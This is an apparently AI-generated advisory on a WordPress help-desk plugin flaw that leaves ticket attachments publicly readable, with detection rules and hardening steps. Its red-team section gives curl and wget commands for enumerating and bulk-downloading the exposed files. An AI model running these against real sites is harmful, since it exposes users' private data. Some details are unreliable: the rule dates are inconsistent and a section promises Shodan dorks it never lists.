CVE-2024-13606
Executive Summary
CVE-2024-13606 exposes a critical information disclosure vulnerability in the JS Help Desk – The Ultimate Help Desk & Support Plugin for WordPress, affecting all versions up to and including 2.8.8. The vulnerability resides in the insecure storage of support ticket attachments within the /wp-content/uploads/jssupportticketdata/ directory. This directory is publicly accessible, allowing any unauthenticated attacker to enumerate and download sensitive files uploaded by users and support agents. The exposed data can include personally identifiable information (PII), internal business documents, screenshots, and other confidential attachments. Given the WordPress ecosystem context, this vulnerability poses a significant risk to site confidentiality and compliance (e.g., GDPR, HIPAA). No official patch has been released by the vendor, making immediate mitigation actions critical.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the JS Help Desk WordPress plugin. While not a direct supply chain compromise of a package registry (e.g., NPM, PyPI), the plugin is distributed via the official WordPress plugin repository. Administrators must verify the integrity of the plugin files and monitor for any unauthorized modifications. The lack of a patch from the vendor means the supply chain risk is elevated, as no trusted update is available.
CVSS Breakdown & Threat Level
- CVSS Score: 7.5 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: None
- Availability Impact: None
Threat Level: High. The vulnerability is trivial to exploit, requires no authentication, and can lead to massive data leakage. The EPSS score of 0.0% suggests low active exploitation in the wild, but the public disclosure and ease of exploitation make it a prime target for automated scanners and opportunistic attackers.
Deep Dive & Mechanics
The JS Help Desk plugin stores support ticket attachments in the WordPress uploads directory under a dedicated subdirectory: /wp-content/uploads/jssupportticketdata/. By default, WordPress does not restrict directory listing or direct file access to files within the uploads folder unless explicitly configured. The plugin fails to implement any access control checks (e.g., .htaccess rules, nonce verification, or user capability checks) before serving these files. As a result, any unauthenticated visitor can:
- Enumerate files: If directory listing is enabled on the server, an attacker can browse the directory and list all files.
- Direct file access: Even without directory listing, attackers can guess or brute-force filenames (often sequentially named or containing predictable patterns like
ticket_<id>_<timestamp>.pdf). - Extract sensitive data: Downloaded files may contain PII (names, emails, phone numbers), internal business data, credentials, or other confidential information.
The vulnerability is classified under CWE-200: Exposure of Sensitive Information to an Unauthorized Actor. The attack vector is straightforward: an HTTP GET request to the directory or a specific file path.
Vulnerable vs. Patched Code
Since no official patch exists, the vulnerable code is the plugin's file upload handling logic. The plugin likely uses WordPress's wp_upload_bits() or move_uploaded_file() to store attachments in the jssupportticketdata directory without adding an .htaccess file to deny direct access.
Vulnerable Code (Conceptual):
// In plugin's file upload handler
$upload_dir = wp_upload_dir();
$target_dir = $upload_dir['basedir'] . '/jssupportticketdata/';
$target_file = $target_dir . basename($_FILES['attachment']['name']);
move_uploaded_file($_FILES['attachment']['tmp_name'], $target_file);
// No .htaccess creation or access control
Patched Code (Hypothetical):
// After upload, create .htaccess to deny all
$htaccess_content = "Deny from all\n";
file_put_contents($target_dir . '.htaccess', $htaccess_content);
// Or use WordPress's built-in file access control via wp_handle_upload with 'test_form' => true
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Target WordPress site with JS Help Desk plugin <= 2.8.8
- No directory listing restrictions on the server
Exploitation Steps:
Enumerate the directory:
curl -s http://target.com/wp-content/uploads/jssupportticketdata/If directory listing is enabled, you will see a list of files.
Brute-force filenames (if listing disabled): Use a wordlist of common patterns (e.g.,
ticket_1.pdf,attachment_2024-01-01.docx).for i in $(seq 1 1000); do curl -s -o /dev/null -w "%{http_code}" http://target.com/wp-content/uploads/jssupportticketdata/ticket_$i.pdf doneDownload all discovered files:
wget -r -np -nH --cut-dirs=3 -R index.html http://target.com/wp-content/uploads/jssupportticketdata/
No public exploit code (Exploit-DB) or Nuclei template was provided.
Blue Team (Detection & Hardening)
Detection:
- Monitor web server logs for repeated GET requests to
/wp-content/uploads/jssupportticketdata/from the same IP. - Alert on HTTP 200 responses for files in that directory from unauthenticated users.
Hardening:
Immediate Mitigation: Add an
.htaccessfile to the directory:# /wp-content/uploads/jssupportticketdata/.htaccess Deny from allOr via Nginx:
location ^~ /wp-content/uploads/jssupportticketdata/ { deny all; return 403; }Disable directory listing globally in Apache (
Options -Indexes) or Nginx (autoindex off;).Implement a Web Application Firewall (WAF) rule to block direct access to the directory.
Audit existing files in the directory and remove any sensitive data. Notify affected users if PII was exposed.
Indicators of Compromise (IOCs)
- File Path:
/wp-content/uploads/jssupportticketdata/ - HTTP Requests: GET requests to the above path with a 200 OK response from unauthenticated users.
- Log Patterns:
"GET /wp-content/uploads/jssupportticketdata/ HTTP/1.1" 200 "GET /wp-content/uploads/jssupportticketdata/ticket_123.pdf HTTP/1.1" 200 - Network: Outbound connections from attacker IPs to the target site's
/wp-content/uploads/jssupportticketdata/directory.
Detection Engineering
YARA Rule
rule CVE_2024_13606_JS_Help_Desk_Exposure {
meta:
description = "Detects attempts to access JS Help Desk ticket attachment directory"
author = "Valters IT"
date = "2024-10-27"
cve = "CVE-2024-13606"
strings:
$path = "/wp-content/uploads/jssupportticketdata/"
$file_ext = /\.(pdf|docx|xlsx|jpg|png|zip|txt)$/
condition:
$path and $file_ext
}
Sigma Rule
title: CVE-2024-13606 JS Help Desk Sensitive Information Exposure
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects unauthenticated access to JS Help Desk ticket attachment directory
author: Valters IT
date: 2024-10-27
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-method: 'GET'
cs-uri-stem|startswith: '/wp-content/uploads/jssupportticketdata/'
sc-status: 200
condition: selection
falsepositives:
- Legitimate admin access (rare)
level: high
Suricata Rule
alert http any any -> $HOME_NET any (
msg:"CVE-2024-13606 JS Help Desk Sensitive Information Exposure";
flow:to_server,established;
content:"GET"; http_method;
content:"/wp-content/uploads/jssupportticketdata/"; http_uri;
classtype:attempted-recon;
sid:10000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Add access control to the
/wp-content/uploads/jssupportticketdata/directory via.htaccessor Nginx config (see Blue Team section). - Disable directory listing on the web server.
- Audit and remove any sensitive files from the directory.
- Notify users if their data may have been exposed.
Long-term Fix:
- Since no vendor patch exists, consider replacing the plugin with an alternative that properly secures file uploads.
- If you must continue using the plugin, implement a custom WordPress filter to serve attachments through a PHP script that checks user capabilities.
Valters IT Signature: This report was generated by Valters IT DevSecOps AI. Always validate findings in your specific environment.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.